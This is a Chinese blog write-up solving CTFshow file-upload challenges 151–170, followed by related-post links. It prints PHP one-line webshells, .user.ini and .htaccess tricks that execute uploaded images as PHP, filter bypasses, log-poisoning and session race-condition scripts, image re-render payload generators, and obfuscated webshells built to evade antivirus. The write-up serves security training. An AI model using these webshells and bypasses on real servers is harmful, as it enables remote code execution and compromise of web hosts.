CTFSHOW文件上传篇

ctfshow web入门 文件上传前篇(web151-web160) 目录 web151-web152 web153 web154 web155 web156 web157-web159 web160 web161 web151-web152 首先写一个一句哈: <?php @eval($_POST["1"]);?> 然后修改文件后缀为png(题目限制),上传文件同时进行抓包,然后修改后缀php,然后蚁剑连接,找到flag 拿到flag~~~~ web153 使用.user.ini绕过 .user.ini 摘抄... 阅读详情

151

绕过前端验证
方法1:直接关闭浏览器的js
方法2:上传.png(没错,只能是png,gif和jpg都不行)文件然后bp抓包后修改后缀,内容为一句话
在这里插入图片描述
直接访问upload/1.php然后 post传1=system(‘tac …/f*’); flag在当前文件所在位置的上一层。

152

上传 1.php然后抓包修改content-type为 image/png或者上传.png文件后修改后缀为.php
在这里插入图片描述
直接访问upload/1.php然后 post传1=system(‘tac …/f*’); flag在当前文件所在位置的上一层。

153

本题考察利用上传user.ini进行文件上传绕过。对于user.ini直接献上官方文档。

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

也就是说如果你目录下有user.ini会先去识别里面的配置。当然文档也说了,并不是所有的配置都可以识别。只有 PHP_INI_PERDIR 和 PHP_INI_USER 模式可以。
然后查阅中文文档和英文文档发现了有些差异
在这里插入图片描述
在这里插入图片描述
发现英文文档多了一个php_in_perdir,经过尝试发现确实可以(测试了下auto_append_file),所以大家还是以英文文档为准
在这里插入图片描述

具体的配置可以看该链接
也就是里面除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。
那么我们就去找我们需要用到配置
发现auto_append_file和auto_prepend_file
一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”)
其中xxx就是 auto_append_file的值。
另外还发现了这么一条
在这里插入图片描述
如果题目在php.ini中设置了 open_basedir,那么我们就可以上传.user.ini进行修改open_basedir的值,当然条件比较苛刻。大家有兴趣可以研究研究。
现在回到这个题。为了利用auto_append_file,我们首先上传一个带木马的图片,接着上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。
这样就在每个php文件上包含了我们的木马文件。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
木马上传成功
但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。
对于这个题,因为他upload目录下有个index.php所以这种方式是可以成功的。
在这里插入图片描述

154 155

上传正常的图片马失败,经过测试发现是过滤的<xphp 其中的x是任意字符
在这里插入图片描述
在这里插入图片描述
尝试使用短标签绕过
对于php的标签其他写法,我们这里多说几种
1、

<? echo '123';?>

前提是开启配置参数short_open_tags=on
2、

<?=(表达式)?>  等价于 <?php echo (表达式)?>

不需要开启参数设置

3、

<% echo '123';%>

前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
4、

<script language=”php”>echo '123'; </script>

不需要修改参数开关,但是只能在7.0以下可用。
对于该题,我们可用使用<?=(表达式)?>进行绕过,图片内容 <?=eval($_POST[1]);?>
剩下的步骤同153

156

在前面的基础上过滤了 []那我们直接用{}来代替
图片马内容<?=eval($_POST{1});?>

157 158 159

过滤了{}和分号,那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置
图片马内容

<?=`tac ../f*`?>

或者

<?=system('tac ../f*')?>

159

过滤了括号,那就用反引号就可以啦

<?=`tac ../f*`?>

160

过滤了括号反引号还有一些关键字
利用日志包含绕过,图片内容<?=include"/var/lo"."g/nginx/access.lo"."g"?>因为log被过滤了。所以用拼接绕过
上传完.user.ini和图片后
访问网站然后修改ua头信息
在这里插入图片描述
接着访问/upload即可拿到flag

161

在160的基础上增加图片头即可,即 GIF89A
在这里插入图片描述
在这里插入图片描述

162、163

session文件包含
具体原理可用参考链接
首先正常上传.user.ini,内容如下
在这里插入图片描述

接着上传png
在这里插入图片描述
最后就开始条件竞争

import requests
import threading
session=requests.session()
sess='yu22x'
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
	'file':'yu22x'
}
cookies={
	'PHPSESSID': sess
}

def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.get(url2)
		if 'flag' in r.text:
			print(r.text)
			
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

164

参考链接
png图片二次渲染绕过

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

运行脚本覆盖掉原来图片的内容,我们上传新生成的图片,接着点查看图片,
在这里插入图片描述
输入我们要用的函数和参数
最后ctrl+s下载后文本查看即可

165

jpg图片二次渲染绕过

<?php
    $miniPayload = "<?php system('tac f*');?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
用法  php exp.php a.png

web166

查看源代码发现只能上传zip
在这里插入图片描述
那我们直接上传一句话就可以了
在这里插入图片描述
注意修改Content-Type为application/x-zip-compressed
然后直接文件包含就可以了
在这里插入图片描述

167

开局一个提示
在这里插入图片描述
说明和apache有关,一开始以为是apache解析漏洞,然后上传a.php.xxx也没有被解析成php。
那应该是要利用.htaccess进行绕过了
首先上传.htaccess
方式1

AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php

方式2

<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>

PS
如果flag不是php文件,那么还可以像.user.ini一样在当前目录加载一个文件

php_value auto_append_file 'flag'

在这里插入图片描述
然后上传图片一句话
在这里插入图片描述
最后直接访问就可以了
在这里插入图片描述

168-170

免杀

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

169 170

利用日志包含
首先访问http://eca7d522-9553-40af-86c6-4db848abe077.chall.ctf.show/
修改UA头为一句话
接着上传.user.ini
在这里插入图片描述
然后上传b.php
内容无所谓
最后蚁剑连接 b.php就可以了

CTF show 文件上传篇(web151-170,看这一篇就够啦) 目录一.前言二.文件上传(web151-170)1.web151(前端绕过)1.1 编写一句话木马1.2.寻找突破点1.3.webshell连接1.4 利用条件2.web152(MIME头绕过)2.1 知识点2.2 绕过限制2.3 利用条件3.web153(.user.ini绕过)3.1 知识点?3.2 绕过限制3.3 利用条件4. web154(短标签绕过)4.1 知识点?4.2 绕过限制4.3 利用条件5. web155(同web154)6. web156(php关键字和[]绕过)6.1 知识点6.2 阅读详情

相关推荐

CTFshow 文件上传 web164

目录思路总结 思路 直接在burp里面改target和host的值,或者在本地发包 多次尝试后,发现除了正常的png图片,都无法上传,猜测用图片马上传 https://github.com/huntergregal/PNG-IDAT-Payload-Generator 虽然上传成功,但把后缀改成任意字符串却被拦截,猜测是白名单 .user.ini也无法正常上传,应该有其他的点可以利用. 直接在网站上上传图片马后,发现显示查看图片 点击查看图片后,跳转到/download.php?imag

Kradress的博客 1265

CTFshow web入门——文件上传

Web 151

小元砸的博客 1万+

CTFshow-文件上传(Web151-170)

htaccess被称为超文本入口,此文件有多个功能,其中一个功能可以。

LH1013886337的博客 1575

CTFshow | 文件上传

var/log/nginx/ 目录是 NGINX 的默认日志位置,可以从中找到一个 access.log 文件和 error.log 文件,include函数包含日志查看日志内容。2、看一下upload文件下有index.php,说明可以通过.user.ini文件来上传。文件上传漏洞是指用户上传了一个可执行的脚本文件,而且通过这个脚本文件获得了执行服务端命令的能力。1、几经尝试,发现php不能通过,phP可以通过,说明过滤掉了php。过滤了php,system,{},和分号,直接执行命令。

m0_60651303的博客 1131

ctfshow web入门文件上传总结

利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入 GIF89a ,访问链接就可得到 (http://…/f*”)>,得到flag。利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入,访问链接就可得到 (http://…

m0_74825223的博客 1092

ctfshow WEB入门 文件上传151-170_ctfshow web入门文件包含167

只是过滤了分号,其他同上。php的最后一个分号可以省略。

2401_88972148的博客 1292

ctfshow web入门文件上传篇

之前已经写了一部分了 补一下博客 给自己之后当笔记看看 这里写目录标题0x01 web153(前面两题懒得写博客了)0x02 web 154 0x01 web153(前面两题懒得写博客了) 首先题目环境大多是nginx 前面两题是前端验证 直接抓包改后缀就行 这次不行了 所以说到nginx我们考虑到.uer.ini (.htaccess是apache下的) 但是被挡下来了 于是上传.user.ini.png 内容是 然后抓包把后缀.png去掉 就可以 这个第一行是gif的文件头 之前写其他平台文件上传的时

Npceer-一位网安初学者的博客 591

CTFShow-WEB入门篇文件上传详细Wp(151-170)_ctfshow文件上传wp

【代码】CTFShow-WEB入门篇文件上传详细Wp(151-170)_ctfshow文件上传wp。

zgsdhfsgh的博客 1045

ctfshow-web入门 文件上传篇部分题解

ctfshow文件上传web151-152web153(.user.ini绕过).user.iniweb154-155(短标签绕过+.user.ini绕过)短标签绕过web156web157-159web160(日志包含绕过)web161web162-163(session文件包含+条件竞争)条件竞争web164(png图片二次渲染绕过)web165(jpg图片二次渲染绕过)web166web167(.htaccess) 文件上传 web151-152 这两题步骤是一样的,先写一个一句话: <?ph

volcano的博客 7699

CTFShow-WEB入门篇文件上传详细Wp(151-170)_ctfshow文件上传wp(1)

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。

2401_84281698的博客 695

[ctfshow]web入门——文件上传(web156-web163)

[ctfshow]web入门——文件上传 web156 上传.user.ini web157 web158 web159 web160 上传.user.ini+日志包含 web161 web162 way1:远程文件包含 way2:session条件竞争包含 web163 上传口 试了试upload界面有一个默认文件,可以用上传.user.ini的方法 后台应该是屏蔽了很多字符串(php

ShenZ的博客 6316

ctfshow-文件上传篇

发现只能传图片,无所谓那就把一句话木马改成.png然后抓包在改回.php然后蚁剑直接连接获取flag。直接传png都不行了,怎么办?发现是图片马被过滤,因为正常的图片是可以上传的。然后查看发现index.php可以访问,接着上一题的办法既可以完成题目。那基本就是有黑名单过滤,直接尝试.user.ini绕过。依然可以采用 .user.ini绕过。与web 151 一样。

jdk12123的博客 317

CTFSHOW web164 PNG二次渲染脚本(生成图片马)

这段PHP代码创建了一个32x32的真彩色图片,并将一个数组中的RGB值作为像素颜色填充到图片上,最后将图片保存为名为"2.png"的文件。另外,这段代码还暗藏了一个木马内容,可以通过GET请求调用POST请求中的参数作为函数名执行任意代码。

《重生之我要把ctfshow刷完》之文件上传篇

web151 常规的前端验证,直接上传png后缀的webshell,然后burp改包为PHP,拿到webshell获取flag web152 还是一样的操作,直接绕过 web153 他这边进行了后端验证,所以常规的php并无法正常上传 后端后缀不严格,导致phtml上传成功,但是并不能被解析,所以使用.user.ini auto_append_file=”1.txt” 让所有的php文件都去包含整个txt 然后去访问upload下的index.php 就会包含1.txt。 web154 首先还是上传一个.u

weixin_44502336的博客 217

泛微E9与金蝶云星空单点登录集成实战指南

本文详细介绍了泛微E9与金蝶云星空单点登录(SSO)集成的实战指南,包括前期准备、核心代码实现、常见问题排查及安全加固建议。通过集成,企业可实现一次登录全网通行,显著提升工作效率和安全性。文章特别强调了签名生成机制和跳转URL构造的关键技巧,帮助开发者避免常见错误。

weixin_30689307的博客 534

VMware下载与安装

一、VMware下载 二、VMware安装

欢迎订阅我的“JAVA全栈开发笔记(全)”专栏,价格优惠,仅需19.9元。 315

ctfshow-文件上传-151-161

CTFshow文件上传PHP文件上传:1、代码思路黑名单是设置不能通过的用户,黑名单以外的用户都能通过。phtml、pht、php3、php4、php5后缀都会按做php文件执行,且不在黑名单内。2、绕过找漏网之鱼:cer、php3、php4、phtml等。大小写绕过:AsP、PhP双写绕过:.pphphp上传文件后,在后缀加上123.php可以执行刚刚上传的文件。

星河梦瑾的博客 1396

PCB仿真软件:Altium Designer_(18).PCB设计中的热管理

在PCB设计中,热管理是一个至关重要的环节。随着电子设备的集成度越来越高,功耗和发热量也随之增加,不合理的热设计可能导致电路板过热,从而影响电路的性能和可靠性。热管理不仅能够提高电路板的使用寿命,还能确保电路在各种环境条件下的稳定工作。本节将详细介绍如何在Altium Designer中进行有效的热管理,包括热分析、热设计和热仿真等关键步骤。

kkchenjj的博客 1985

ctfshow -web文件上传

ctf

m0_72898152的博客 1852

【第33话:车辆控制】自动驾驶车辆运动学模型推导及详解

自动驾驶车辆的运动学模型以自行车模型为核心,通过状态方程。

一碗白开水一 831

高速信号设计中的关键测试项目与测试仪器详解

高速信号设计是一个多维度协同优化的系统工程。时域分析如同外科手术刀般精准定位物理缺陷,频域分析提供传输通道的频谱指纹,信号质量评估量化系统鲁棒性,接收端容限测试验证极端工况下的可靠性,协议一致性确保生态互操作性,而电源完整性则直指诸多信号问题的根源。

u014344410的博客 217

ctfshow-web 151-170-文件上传

这题先绕过前端与后端限制,然后利用要改成一个php文件上传,因为user.ini必须需要目录下有php文件,然后user.ini写入日志文件。这里我放犯了一个错误,开始的图片马我是将木马写入一个txt文件,然后改成jpg文件,然后不行,后面想了一下,htaccess将图片马视为php文件执行,所以我将木马写入php文件,然后再改成jpg,最后成功。首先上传.user.ini,然后上传shell.png,然后上传不了,猜测php被过滤,换成段表签形式上传,成功。然后上传文件,然后下载文件时抓包。

2301_80915592的博客 2911

康耐视visionpro-CogBlobTool工具详细说明

康耐视visionpro-CogBlobTool工具详细说明

视觉人机器视觉的博客 1725

PHP-nginx-ctfShow文件上传漏洞

文件上传-前端验证 文件上传-黑白名单 文件上传-user.ini妙用 文件上传-PHP语言特性

m0_63917373的博客 2192

Simulink仿真模块 -Scope

如果您将 Scope 模块放在具有锁定链接的库或者锁定的库中,当尝试打开示波器窗口时,Simulink 会显示错误。要显示某个库模块中的内部数据,请为库模块添加一个输出端口,然后将此端口连接到您模型中的 Scope 模块。当您在示波器内可视化多个基于帧的信号时,部分帧大小为 1 的信号采样可能不会显示。当在示波器内可视化多个基于帧的信号时,部分帧大小为 1 的信号采样可能不会显示。如果在仿真开始时波形视图关闭,则当在仿真后打开波形视图时,波形视图将显示附加的输入信号的仿真结果。

jk_101的博客 3789

使用Simulink对固定翼无人机的自动起飞与降落进行仿真

本文介绍了基于Simulink的固定翼无人机自动起飞与降落控制系统设计方法。系统包含飞行器动力学模型、控制系统、环境模拟等模块,通过简化动力学方程描述无人机运动特性。详细说明了从创建模型、设置动力学方程、设计PID控制器(包括自动起飞和降落控制策略)到添加环境模拟的完整仿真流程。重点阐述了升降舵和发动机推力的控制律设计,以及性能评估要点。本方法可有效验证控制系统设计,优化飞行稳定性和安全性参数,为无人机自主控制提供仿真支持。

amy_mhd的博客 223
上一篇: CTFSHOW PHP特性篇 (下篇132-150)
下一篇: SSTI模板注入绕过(进阶篇)
yu22x
博客等级 码龄7年 3738粉丝 121原创
评论 5
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值